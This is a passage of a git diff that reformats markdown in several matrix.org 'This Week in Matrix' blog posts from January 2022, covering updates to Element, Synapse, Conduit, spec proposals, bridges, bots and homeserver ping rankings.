when they are only partially visible, and a very basic location tile. ### Element ([website](https://element.io)) @@ -153,19 +164,24 @@ Everything related to Element but not strictly bound to a client [kittykat](https://matrix.to/#/@kittykat:matrix.org) announces > **Threads** +> > * Issue with thread panel rendering timeline has been fixed > * Reviewing plans for backward compatibility with clients that don’t support threaded messages -> +> > **Polls** +> > * iOS and Android starting on the next phase of development, look out for poll editing and other exciting changes! You can enable polls in the Settings, under Labs. -> +> > **Community Testing** +> > * 32 issues found during community testing! Join [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) to test the latest Element apps with us -> +> > **Analytics** +> > * You can now opt in to sending anonymous analytics data in the user settings on all platforms. Please enable it in the “Security & Privacy” menu, under “Analytics” to help us understand better how Element apps are used. > * Mobile app users will see an opt-in screen on first startup on Android in 1.3.14 and iOS in 1.6.12 > +> > ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -188,7 +204,7 @@ Secure and independent communication, connected via Matrix. Come talk with us in [J. Ryan Stinnett](https://matrix.to/#/@jryans:matrix.org) announces > The maximised widgets feature in Element Web that Timo K. has been working on is now available for everyone on develop, and it's on track for the next web release. 🚀 It's a great match for widget-based collaborative editors, dashboards, games, and more. The widget becomes the focus of the room. You can optionally show chat from the room in a side panel, allowing easy discussion of the document / dashboard / game. -> +> > To try it out, add a widget to a room in the usual way, then look for the new "maximise" button in the room info panel's widget section. Please let us know in [#beyond-chat:matrix.org](https://matrix.to/#/#beyond-chat:matrix.org) or in issues if you have any feedback. 😄 ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -200,8 +216,8 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi > * Working on improving app startup speed (note that this is the green spinner, not the account sync) > * Issue with home view in dark mode was reported this morning and fixed this afternoon > * In development: -> - Finished implementing [room settings](https://github.com/vector-im/element-ios/issues/5231) for Spaces -> - Improving [room long press interactions](https://github.com/vector-im/element-ios/issues/5232) for Spaces +> * Finished implementing [room settings](https://github.com/vector-im/element-ios/issues/5231) for Spaces +> * Improving [room long press interactions](https://github.com/vector-im/element-ios/issues/5232) for Spaces ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -219,47 +235,47 @@ All you chats in one app. [Brad Murray](https://matrix.to/#/@brad:beeper.com) announces -> Beeper is a universal chat app built on top of Matrix. We've created 12+ open source Matrix bridges and integrated them into an easy to use all-in-one service which does not require setting up your own homeserver. You can learn more at [beeper.com](http://beeper.com). -> -> Our team is growing! We’re now at 25 people, all remote around the world. Recent additions include hifi (creator of [Heisenbridge](https://github.com/hifi/heisenbridge)) and Finn (creator of [signald](https://github.com/thefinn93/signald)). -> +> Beeper is a universal chat app built on top of Matrix. We've created 12+ open source Matrix bridges and integrated them into an easy to use all-in-one service which does not require setting up your own homeserver. You can learn more at [beeper.com](http://beeper.com). +> +> Our team is growing! We’re now at 25 people, all remote around the world. Recent additions include hifi (creator of [Heisenbridge](https://github.com/hifi/heisenbridge)) and Finn (creator of [signald](https://github.com/thefinn93/signald)). +> > We are hiring many full-time remote roles including: -> +> > * Bridge developers > * iOS engineers > * Product designers -> -> Learn more [here](https://www.notion.so/Jobs-Beeper-ff5da486daed462ebfc4b21eacc48cae) and apply through that site, or message @eric:beeper.com -> +> +> Learn more [here](https://www.notion.so/Jobs-Beeper-ff5da486daed462ebfc4b21eacc48cae) and apply through that site, or message @eric:beeper.com +> > **Beeper Desktop** -> +> > * We recently released a Beeper Desktop update with a new room list and a ton of UI improvements. Check out the video below! -> - Made it easier to triage your inbox by moving unread dots to left -> - Made the list of connected bridges more compact -> - New link previews -> - Loads of bug fixes including improvements to scrolling -> +> * Made it easier to triage your inbox by moving unread dots to left +> * Made the list of connected bridges more compact +> * New link previews +> * Loads of bug fixes including improvements to scrolling +> {{ youtube_player(video_id="ToJEpVqcWHM") }} > **Beeper Bridges** -> +> > * We introduced a new version of our iMessage bridge designed for Mac OS computers with SIP disabled. [https://docs.mau.fi/bridges/go/imessage/mac-nosip/setup.html](https://docs.mau.fi/bridges/go/imessage/mac-nosip/setup.html) Now includes support for: -> - Tapbacks -> - SMS via Continuity -> - Threaded replies -> - Synced read states to other iDevices and -> +> * Tapbacks +> * SMS via Continuity +> * Threaded replies +> * Synced read states to other iDevices and +> > Most importantly, we launched a cloud Mac service that allows you to use iMessage with Beeper if you do not have access to an always-on Mac computer. Included with your Beeper subscription! -> +> > * Voice messages are bridged in native format in both directions for all Beeper bridges > * Signal bridge now supports disappearing messages > * All Instagram message types are now bridged > * Added support for Telegram message reactions > * WhatsApp bridge now backfills 3 months worth of chats -> +> > **Beeper Android** -> +> > * Coming soon: A recent addition to our Android team has added encrypted search by massaging `seshat` into the app. Expect an upstream PR for this into Element Android as well! ## Dept of SDKs and Frameworks 🧰 @@ -272,8 +288,9 @@ Multiplatform Kotlin SDK for Matrix > [Trixnity](https://gitlab.com/benkuly/trixnity) version 1.0.0 is out! I decided to make it 1.0.0 not because it is out of beta, but because it has most features you need to build a usable client. > That means: cross signing has landed into Trixnity! The next big features will be room key backup and push notification. -> +> > Here is the changelog: +> > * fully support cross signing > * load members of rooms in an async way (you don't need to catch errors anymore) > * reactive displayname and avatar url of the logged-in user @@ -293,7 +310,7 @@ Ruby SDK for the Matrix communication protocol [Ananace](https://matrix.to/#/@ace:kittenface.studio) says > Just cut a new release of the [Ruby Matrix SDK](https://github.com/ananace/ruby-matrix-sdk), with 2.5.0 there's some preliminary support for Matrix 1.1 and the `client/v3` API, the information for room knocking is exposed properly, some threading issues have had workarounds applied, and a bunch of fixes have been applied. -> +> > Additional thanks go out to the nice people submitting PRs on GitHub and the members of the [#ruby-matrix-sdk:kittenface.studio](https://matrix.to/#/#ruby-matrix-sdk:kittenface.studio) room. [Ananace](https://matrix.to/#/@ace:kittenface.studio) says @@ -306,13 +323,13 @@ Use Matrix as a backend for local-first applications with the Matrix-CRDT Yjs pr [yousefed](https://matrix.to/#/@yousefed:matrix.org) reports -> I just open sourced a library called Matrix-CRDT: https://github.com/yousefED/matrix-crdt - feedback very welcome! It allows you to use Matrix as a backend for decentralized, local-first collaborative apps. Above you see a **collaborative rich text editor (like Google Docs)** powered by Matrix! -> -> You can try the Rich text editor here: https://bup9l.csb.app (see also the links in the repo, e.g. there is also a collaborative todo-list example) +> I just open sourced a library called Matrix-CRDT: - feedback very welcome! It allows you to use Matrix as a backend for decentralized, local-first collaborative apps. Above you see a **collaborative rich text editor (like Google Docs)** powered by Matrix! +> +> You can try the Rich text editor here: (see also the links in the repo, e.g. there is also a collaborative todo-list example) [J. Ryan Stinnett](https://matrix.to/#/@jryans:matrix.org) adds -> If you have a distributed data structure and an algorithm that ensures all participants end up with the same result when their actions are combined, then that's effectively a CRDT as well. For Matrix, there a few research papers like https://arxiv.org/abs/2011.06488 which examine the CRDT-like properties. +> If you have a distributed data structure and an algorithm that ensures all participants end up with the same result when their actions are combined, then that's effectively a CRDT as well. For Matrix, there a few research papers like which examine the CRDT-like properties. ## Dept of Bots 🤖 @@ -336,20 +353,20 @@ A Devianart Fork based on Matrix [MTRNord (they/them)](https://matrix.to/#/@mtrnord:nordgedanken.dev) says > Matrix-Art is a new social network prototype on Matrix. -> +> > It is a direct Devianart style clone. It currently has a focus on only images but is going to get extended to other media types eventually. > I am doing this as a toy project, so it may sometimes have slow progress. The goal is covering the main functions Devianart provides (Posting, Sharing, Profiles, Following, Collections, Comments) as well as integrations to other social networks on matrix using [MSC3639](https://github.com/matrix-org/matrix-doc/pull/3639). -> +> > A lot of things are currently still missing, but I am trying to get uploading working next :) -> -> An instance is hosted at https://art.midnightthoughts.space/ and the code is at https://github.com/MTRNord/matrix-art -> +> +> An instance is hosted at and the code is at +> > Currently, the interface is limited to viewing basic data from a matrix room. In the future, there are plans to have an open registration as well as login with any account to use it. :) -> +> > Note however that I suggest against using your personal account just yet, even though the login works, as it may have unexpected room joins at this time. This is known and expected, but not production ready. -> +> > Also, at this time, there are no plans of e2ee support. This may get added after the main features are finished. -> +> > For questions, feel free to join [#matrix-art:nordgedanken.dev](https://matrix.to/#/#matrix-art:nordgedanken.dev) :) ## Dept of Guides 🧭 @@ -357,14 +374,15 @@ A Devianart Fork based on Matrix [Stas'M](https://matrix.to/#/@binarymaster:reactos.org) says > I just wrote an article about my experience using Matrix, and the question... is it worth posting in the news? The article is written in Russian and published on Habr... and since it's pretty big I'm not sure about translating it to English 😅 -> -> Here is the link: https://habr.com/ru/post/599777/ - it also mentions TWIM. +> +> Here is the link: - it also mentions TWIM. ## Dept of Ping 🏓 Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -381,6 +399,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|kreatea.space|1845.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/01/2022-01-21-this-week-in-matrix-2022-01-21.md b/content/blog/2022/01/2022-01-21-this-week-in-matrix-2022-01-21.md index 669b314ce..94a390e10 100644 --- a/content/blog/2022/01/2022-01-21-this-week-in-matrix-2022-01-21.md +++ b/content/blog/2022/01/2022-01-21-this-week-in-matrix-2022-01-21.md @@ -18,43 +18,51 @@ image = "http://matrix.org/blog/img/ZHlvUVLdeAVgsmhWTWcbYJlq.png" [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ## MSC Status -> +> > **New MSCs:** +> > * [MSC3664: Pushrules for relations](https://github.com/matrix-org/matrix-doc/pull/3664) > * [\[WIP\] MSC3662: Allow Widgets to share user mxids to the client](https://github.com/matrix-org/matrix-doc/pull/3662) > * [MSC3659: Invite Rules](https://github.com/matrix-org/matrix-doc/pull/3659) > * [\[WIP\] MSC3647: Bring Your Own Bridge - Decentralising Bridges](https://github.com/matrix-org/matrix-doc/pull/3647) -> +> > **MSCs with proposed Final Comment Period:** +> > * [MSC2781: Remove the reply fallbacks from the specification](https://github.com/matrix-org/matrix-doc/pull/2781) > * [MSC3030: Jump to date API endpoint](https://github.com/matrix-org/matrix-doc/pull/3030) > * [MSC3589: Room version 9 as the default room version](https://github.com/matrix-org/matrix-doc/pull/3589) -> +> > **MSCs in Final Comment Period:** +> > * _No MSCs are in FCP._ -> +> > **Merged MSCs:** +> > * [MSC3567: Allow requesting events from the start/end of the room history](https://github.com/matrix-org/matrix-doc/pull/3567) > * [MSC2675: Serverside aggregations of message relationships](https://github.com/matrix-org/matrix-doc/pull/2675) +> > ## Spec Updates -> -> Work on preparing the release of Matrix v1.2 is currently underway. As of today, the Spec Core Team is aiming for a release of Matrix v1.2 on __February 2nd__. -> +> +> Work on preparing the release of Matrix v1.2 is currently underway. As of today, the Spec Core Team is aiming for a release of Matrix v1.2 on **February 2nd**. +> > If you know of any MSCs which you believe should be included in Matrix v1.2, but haven't started/finished Final Comment Period yet, please bring them up in the [#sct-office:matrix.org](https://matrix.to/#/#sct-office:matrix.org), and we'll take a look. Thanks! +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3635: Early Media for VoIP](https://github.com/matrix-org/matrix-doc/pull/3635)! -> +> > When I first came across this MSC, I didn't know what "Early Media" as a concept referred to. Even after skimming the MSC... I still didn't really know. But I'll demystify it here in case it peaks your interest and you would like to learn more. -> +> > Early media is essentially any media that is exchanged between the moment you start a call, to the moment the other side picks up (a connection is established). For instance, the ringing you hear while waiting for someone to pick up (called "ringback tones"), or the "busy" tone you hear when the line is busy. Those audio bits are known as "early media". Video can also fall into this category (though that's less common). -> +> > This MSC would essentially allow Matrix to introduce these concepts in Matrix-only calls (though these days the client just plays sounds while connecting), but more crucially would allow Matrix to interoperate with other protocols (like SIP) that expect to handle these features. -> +> > So yay, more interoperability and bridge compatibility! - +> +> > ![](/blog/img/ebf8a688f3606f14c5798e217f01bd4fa8bf51b3.png) ## Dept of Servers 🏢 @@ -66,13 +74,13 @@ Synapse is the reference homeserver for Matrix [callahad](https://matrix.to/#/@callahad:matrix.org) says > After a somewhat bumpy process, we [released Synapse 1.50](https://matrix.org/blog/2022/01/18/synapse-1-50-released) on Tuesday! The big thing you need to be aware of is that we're turning off support for Python 3.6 and PostgreSQL 9.6, including Linux distributions which ship with those versions by default (like Ubuntu 18.04 LTS). Please make sure your infrastructure is up-to-date. -> +> > I'm personally very excited that we tracked down [a bug](https://github.com/matrix-org/synapse/issues/11729) which could cause device list updates to get lost when being sent over federation. When device lists fall out of sync, it can cause failures when attempting to decrypt messages, since the keys may not have been sent to all of the user's devices. -> +> > We've also made quite a lot of progress in allowing Application Services to support end-to-end encryption via the still-experimental [MSC3202](https://github.com/matrix-org/matrix-doc/pull/3202). -> -> For MSCs which *have* been merged into the Matrix Spec, we now implement [MSC3419](https://github.com/matrix-org/matrix-doc/pull/3419), allowing guests to send state events into rooms, and we now use stable identifiers for cross-signing and fallback keys per [MSC1756](https://github.com/matrix-org/matrix-doc/pull/1756) and [MSC2732](https://github.com/matrix-org/matrix-doc/pull/2732). -> +> +> For MSCs which _have_ been merged into the Matrix Spec, we now implement [MSC3419](https://github.com/matrix-org/matrix-doc/pull/3419), allowing guests to send state events into rooms, and we now use stable identifiers for cross-signing and fallback keys per [MSC1756](https://github.com/matrix-org/matrix-doc/pull/1756) and [MSC2732](https://github.com/matrix-org/matrix-doc/pull/2732). +> > Looking to the future: We're aiming to release 1.51 next week so it has plenty of time to burn in before we host [FOSDEM 2022](https://fosdem.org/2022/). This is a pretty quick turnaround from 1.50, but we'll return to our usual fortnightly release cadence for subsequent releases. To that end, [1.51.0rc1](https://github.com/matrix-org/synapse/releases/tag/v1.51.0rc1) is out today; give it a shot. 😉 ### Conduit ([website](https://conduit.rs)) @@ -82,13 +90,13 @@ Conduit is a simple, fast and reliable chat server powered by Matrix [Timo ⚡️](https://matrix.to/#/@timokoesters:fachschaften.org) announces > Hello again! In the last week we continued to optimize the rocksdb backend and Conduit in general, trying to get it as memory efficient as possible. Using valgrind we could see that memory was not getting released in some cases. -> +> > We found out that switching to the `jemalloc` allocator completely got rid of this problem and memory usage seems to be a lot more stable now! -> +> > All of this is currently available on the `next` branch. We are preparing to make a v0.3.0 release soon! -> +> > Join [#conduit:fachschaften.org](https://matrix.to/#/#conduit:fachschaften.org) to help us test it. -> +> > Thanks to everyone who supports me on [Liberapay](https://liberapay.com/timokoesters) or Bitcoin! ## Homeserver Deployment 📥️ @@ -110,14 +118,16 @@ A watchOS client for Matrix [Doug](https://matrix.to/#/@douge:matrix.org) announces > It's been a while since I reported any updates on Watch The Matrix. -> +> > The following new features have been added: +> > * Message bubbles are properly left/right aligned now. > * Support for displaying images. > * Replies are nicely formatted now. > * Ability to send messages and replies (inc FlickType support). > * Redacted reactions are now properly hidden. - +> +> > ![](/blog/img/ZHlvUVLdeAVgsmhWTWcbYJlq.png) ### Sailtrix ([website](https://gitlab.com/HengYeDev/harbour-sailtrix)) @@ -127,14 +137,16 @@ Sailtrix is a matrix client for SailfishOS [HengYeDev](https://matrix.to/#/@hengyedev:mozilla.org) announces > This week, version 1.3.7.1 has been released. -> +> > Updates: +> > * Support favorite rooms > * Add View Source > * Add useful active cover > * Merge better notification support by @razcampagne -> +> > Fixes: +> > * Fix bug of images and files not displaying in encrypted rooms > * Add UI placeholder when there are no rooms @@ -145,19 +157,23 @@ Everything related to Element but not strictly bound to a client [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) announces > **Threads** +> > * To keep your timeline clean and ordered we’ll soon be introducing threaded messages to Element. Currently the team is working hard on the fallback solution, and polishing up the user interface. -> - Threads is already in Labs on Web, so go ahead and check it out! -> - For mobile, we’re hoping to release Threads to Labs in the next few weeks. -> +> * Threads is already in Labs on Web, so go ahead and check it out! +> * For mobile, we’re hoping to release Threads to Labs in the next few weeks. +> > **Polls** +> > * Get ready to start asking more questions… Polls are nearly ready to go! You’ll be able to ask folks things like; their favourite superhero, which day you should grab lunch, or even the best way to make tea (milk first, always). ☕️ -> - If you just can’t wait ‘til we’re ready to launch, you can enable Polls from Labs. -> +> * If you just can’t wait ‘til we’re ready to launch, you can enable Polls from Labs. +> > **Location Sharing** +> > * Location sharing is almost here! You’ll soon find a new setting to turn this on, which will give you the location sharing icon in your composer and can be used to tell people exactly where you are! -> - The setting will be in the next release on iOS and Android, and will start “off” by default. Once the feature is settled in, we’ll turn it on by default. -> +> * The setting will be in the next release on iOS and Android, and will start “off” by default. Once the feature is settled in, we’ll turn it on by default. +> > **Community testing** +> > * Join [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) to help out with the testing > * We will be testing the FOSDEM conferencing setup (Element web + widgets) on Monday at 17:00 UTC > * Element Desktop (Nightly) has had an Electron update, join us to test it on Tuesday at 16:00 UTC @@ -170,8 +186,9 @@ Secure and independent communication, connected via Matrix. Come talk with us in > * We’re moving forwards with our PostHog Analytics implementation and are super excited to start to get to know how our users experience Element. Remember; it’s off by default and you have to opt-in to share. > * 2 testing sessions happening this week, join at [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) -> +> > **In labs (you can enable labs in settings on develop.element.io or on Nightly)** +> > * With the coolest project name by far, the Bubbles team is working hard to bring you message bubbles ASAP! These should land in the next week or so but are available in Labs today. ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -181,9 +198,10 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) says > * The integration of analytics tracking has been included in the most recent version of the app. Using PostHog Analytics we’ll be able to make informed product decisions for our app as we’ll have more visibility into the usefulness of each feature. -> - Remember; Analytics is opt-in and you don’t have to share any info with us. If you choose to opt-in we’ll start to learn how users use Element and how we can simplify your experiences. -> +> * Remember; Analytics is opt-in and you don’t have to share any info with us. If you choose to opt-in we’ll start to learn how users use Element and how we can simplify your experiences. +> > **In development:** +> > * Work ongoing on Spaces support, finished improving [room long press interactions](https://github.com/vector-im/element-ios/issues/5232) for Spaces and reviews of [space creation](https://github.com/vector-im/element-ios/issues/5224) changes are nearing completion. Work ongoing on [Space settings](https://github.com/vector-im/element-ios/issues/5233). > * We’re currently building a simplified first time user experience, the first piece of which will be released in the next few weeks! > * The team is working to update to Xcode 13 / iOS 15. @@ -195,9 +213,10 @@ Secure and independent communication for Android, connected via Matrix. Come tal [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) reports > * We’ve had some trouble with the stability of our releases this week but the team’s been working hard to get it all ironed out. Our latest update to the app store fixes some bugs and includes the option to enable analytics. -> - Analytics? Yes! Knowing how our users traverse our app, and understanding this cross-platform, will help us to tailor to your needs and make impactful improvements. If you don’t want to send anonymised event info to Element, no problem! Just say no. If you change your mind, there’s a toggle in Settings. -> +> * Analytics? Yes! Knowing how our users traverse our app, and understanding this cross-platform, will help us to tailor to your needs and make impactful improvements. If you don’t want to send anonymised event info to Element, no problem! Just say no. If you change your mind, there’s a toggle in Settings. +> > **In development:** +> > * Message Bubbles? Yes, please! With a week of successful testing internally we’re nearly ready to release message bubbles into the wild. We’re excited to see what you think. > * Element’s first time user experience could use a little help, so the team have been working on improvements to our sign up flow that will _hopefully_ reduce confusion for newbies. @@ -208,9 +227,9 @@ Secure and independent communication for Android, connected via Matrix. Come tal Matrix Wrench is a web client to tweak Matrix rooms. [ChristianP](https://matrix.to/#/@christianp:vector.modular.im) says - + > New feature: HTTP status in the network log. -> +> > Next up: Bulk editing of rooms for updating room power levels or aliases in masses. > If you're a maintainer of a homeserver, space or bridge, please let me know your use cases. @@ -221,9 +240,9 @@ A commandline utility to export matrix messages [Aine](https://matrix.to/#/@aine:etke.cc) reports > It's a small cli tool that does exactly what it says - exports matrix messages from a room. As example you can check [etke.cc/news](https://etke.cc/news) - that page and all items on it generated by emm from [#news:etke.cc](https://matrix.to/#/#news:etke.cc) room. -> +> > The tool gracefully supports room aliases, message edits, custom templates (check the `contrib/` dir for example) and 2 export modes - single (all messages exported to a single file) or multi (each message exported to separate file, that's how etke.cc/news works) -> +> > [Source code](https://gitlab.com/etke.cc/emm) ### Circles ([website](https://www.kombuchaprivacy.com/circles/)) @@ -233,14 +252,15 @@ E2E encrypted social networking built on Matrix. Safe, private sharing for your [cvwright](https://matrix.to/#/@cvwright:matrix.org) announces > Circles is a project to build a privacy-respecting, end-to-end encrypted social network on top of Matrix. It was originally built out of the desire for a safer way to share baby photos with friends and family, but it can be used by anyone who wants easy sharing combined with strong security. -> +> > Recent news: +> > * The Circles iOS app is back in beta on [TestFlight](https://testflight.apple.com/join/cWuDwqpG). Builds 0.99 (6) and 0.99 (8) are rolling out now. > * The latest updates fix some bugs in Circles' use of Matrix's encrypted recovery feature to improve the reliability of E2E encryption. -> * FUTO, the new company behind Circles, is hiring an Android developer to help us bring Circles to Android. Interested candidates should send a resume and cover letter to jobs@futo.org. -> -> The (old) Circles homepage: https://kombuchaprivacy.com/circles -> The code on Github: https://github.com/KombuchaPrivacy/circles-ios +> * FUTO, the new company behind Circles, is hiring an Android developer to help us bring Circles to Android. Interested candidates should send a resume and cover letter to . +> +> The (old) Circles homepage: +> The code on Github: ## Dept of Bots 🤖 @@ -251,17 +271,19 @@ A Matrix helpdesk bot [Aine](https://matrix.to/#/@aine:etke.cc) reports > long time no see! Today I come with a new internal [etke.cc](https://etke.cc/) tool that publicly available, because open source matters. -> +> > Honoroit is a helpdesk matrix bot with end-to-end encryption support, that utilizes [MSC3440 (Threading)](https://github.com/matrix-org/matrix-doc/pull/3440/) to act as a proxy between a customer (any matrix user) and your backoffice (users added in special room), each customer's room = thread in a backoffice room, where multiple operators can send messages to the same customer at once. -> +> > Pretty bad description, I know - check the source code to see screenshots. -> +> > Updates: +> > * the v0.9.2 release brings the fallback reply-to mode, so even on matrix clients that doesn't support threads yet you can use it with good ol' replies. > * the v0.9.3 release fixes commands parsing in the reply-to mode and adds prefixes to the thread topics -> +> > [source code](https://gitlab.com/etke.cc/honoroit), [#honoroit:etke.cc](https://matrix.to/#/#honoroit:etke.cc) - +> +> > ![](/blog/img/kuNqayFJXuRRKkLWuYceSqoE.png) ## Dept of Interesting Projects 🛰️ @@ -273,7 +295,8 @@ A Devianart Fork based on Matrix [MTRNord (they/them)](https://matrix.to/#/@mtrnord:nordgedanken.dev) says > Matrix Art received some minor changes since the last twim post: -> * You can now get a rss feed of the posts at https://art.midnightthoughts.space/posts.rss (This is in the same format as devianart does their feeds) +> +> * You can now get a rss feed of the posts at (This is in the same format as devianart does their feeds) > * Mobile should be mostly fixed > * The About-info isn't hardcoded anymore but now uses an event type. > * The page now uses the Roboto Font instead of the default font, which helps with readability. @@ -285,18 +308,18 @@ A Devianart Fork based on Matrix > * Various small design improvements were made > * Images now have size hints so the page doesnt jump around as much when loading > * Lots and lots of metadata was added to each page for SEO -> -> Check it out at https://art.midnightthoughts.space -> Check the Code out at https://github.com/MTRNord/matrix-art +> +> Check it out at +> Check the Code out at > Or join the Chat at [#matrix-art:nordgedanken.dev](https://matrix.to/#/#matrix-art:nordgedanken.dev) -> +> > Planned for this week is to add registration and usage of external profiles. As soon as that works I am also going to make uploading images work. So with a bit of luck in the next TWIM anyone is able to post their images :) ## Dept of Guides 🧭 [Éibhear (on matrix.org)](https://matrix.to/#/@eibhear:matrix.org) reports -> Hi TWIM. I published a long-planned, long-in-the-making, long-winded [report](https://www.gibiris.org/eo-blog/posts/2022/01/21_containterise-synapse-postgres.html) of how I containerised my *matrix-synapse* homeserver and its *PostgreSQL* database in order to get ahead of the application dependency deprecations. This was something I couldn't find for myself, so I put this together to help anyone else who might need it. (And it **does** contain a TL;DR section!) +> Hi TWIM. I published a long-planned, long-in-the-making, long-winded [report](https://www.gibiris.org/eo-blog/posts/2022/01/21_containterise-synapse-postgres.html) of how I containerised my _matrix-synapse_ homeserver and its _PostgreSQL_ database in order to get ahead of the application dependency deprecations. This was something I couldn't find for myself, so I put this together to help anyone else who might need it. (And it **does** contain a TL;DR section!) [Helder Ferreira](https://matrix.to/#/@helder:helderferreira.io) says @@ -313,6 +336,7 @@ A Devianart Fork based on Matrix Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -329,6 +353,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|asra.gr|3546.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/01/2022-01-28-this-week-in-matrix-2022-01-28.md b/content/blog/2022/01/2022-01-28-this-week-in-matrix-2022-01-28.md index 426108e8e..5902a3fba 100644 --- a/content/blog/2022/01/2022-01-28-this-week-in-matrix-2022-01-28.md +++ b/content/blog/2022/01/2022-01-28-this-week-in-matrix-2022-01-28.md @@ -28,60 +28,65 @@ image = "https://matrix.org/blog/img/8e54c94c7d76b8e8a7f321487c586cd2f3943bf0.pn [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ## MSC Status -> +> > In terms of MSC updates this past week: -> +> > **New MSCs:** +> > * [MSC3676: Transitioning away from reply fallbacks](https://github.com/matrix-org/matrix-doc/pull/3676) > * [MSC3673: Encrypted ephemeral data units](https://github.com/matrix-org/matrix-doc/pull/3673) > * [MSC3672: Sharing ephemeral streams of location data](https://github.com/matrix-org/matrix-doc/pull/3672) > * [MSC3667: Enforce integer power levels](https://github.com/matrix-org/matrix-doc/pull/3667) > * [MSC3666: Bundled aggregations for server side search](https://github.com/matrix-org/matrix-doc/pull/3666) -> +> > **Merged MSCs:** +> > * _No MSCs were merged this week._ -> +> > **MSCs currently in Final Comment Period:** +> > * [MSC3676: Transitioning away from reply fallbacks](https://github.com/matrix-org/matrix-doc/pull/3676) (merge) +> > ## Spec Updates -> -> The release of Matrix v1.2 is right around the corner, and is expected to go out on __February 2nd__. This is in line with our quarterly release cycle for the spec going forwards. -> +> +> The release of Matrix v1.2 is right around the corner, and is expected to go out on **February 2nd**. This is in line with our quarterly release cycle for the spec going forwards. +> > Please reach out to us in [#sct-office:matrix.org](https://matrix.to/#/#sct-office:matrix.org) if there are any last-minute MSCs that haven't started/finished Final Comment Period that you believe should be included! -> +> > Otherwise there was a lot of discussion surrounding [MSC2781: Remove the reply fallbacks from the specification](https://github.com/matrix-org/matrix-doc/pull/2781). I'll let the other spec updates in TWIM speak to that though :) -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC2291: Configuration to Control Crawling](https://github.com/matrix-org/matrix-doc/pull/2291)! -> +> > A concept similar to [robots.txt for the web](https://en.wikipedia.org/wiki/Robots_exclusion_standard), but for Matrix! Currently the way to inform room-crawling bots in Matrix today is by banning/kicking them from the room. However, this doesn't allow you to blanket prevent bots from joining - nor does it only inform bots that they should access _some_ of the room's data. It's a binary switch. -> +> > Consider if you wanted your room to be crawled, but the room topic to not be indexed. This MSC could help with that! Give it a read/review if you're interested. - +> +> > ![](/blog/img/d5436eb454c0c154be7e5771608de1332ea85ae5.png) [Nico](https://matrix.to/#/@deepbluev7:neko.dev) announces > Have you ever pinged someone by accident, because you replied to a message with their name in it or maybe even a whole room mention? Or are you avoiding replies for that reason? Did the quote of a messages suddenly vanish when someone edited their message in a client? Or are you just in general unhappy with replies only showing what type of message was replied to, instead of showing the actual image being replied to (on mobile for example)? Were you annoyed, that you could only reply with a text message, but not an emote message, an image, a sticker or even a video? -> -> I spent a bunch of time trying to remove the blocker for that in the Matrix specification, you can find the proposal here: https://github.com/matrix-org/matrix-doc/pull/2781 -> -> As it turns out, it is not quite as simple, because notifications for replies to your messages rely on a bunch of implicit interactions, which is why I also wrote another MSC to fix that: https://github.com/matrix-org/matrix-doc/pull/3664 -> +> +> I spent a bunch of time trying to remove the blocker for that in the Matrix specification, you can find the proposal here: +> +> As it turns out, it is not quite as simple, because notifications for replies to your messages rely on a bunch of implicit interactions, which is why I also wrote another MSC to fix that: +> > I'm a bit unhappy with replies across the matrix ecosystem at the moment and I hope this is a small step towards improving things. It's certainly not as exciting as spaces, voip, threads or stickers, but it is something which affects me every day and I think those small papercuts need some attention too. -> +> > I hope some of you share my love for the less exciting stuff! - [Jonathan](https://matrix.to/#/@jboi:jboi.nl) announces > To add onto Nico's efforts, I think that mentions today are based on too many "false-positives" (ping on displayname or username mention), and i kinda wish for the "just mention them" UX of discord, telegram, whatsapp, and so many other messengers. -> -> So I've also made a proposal that tries to bring some explicitness in that, a new 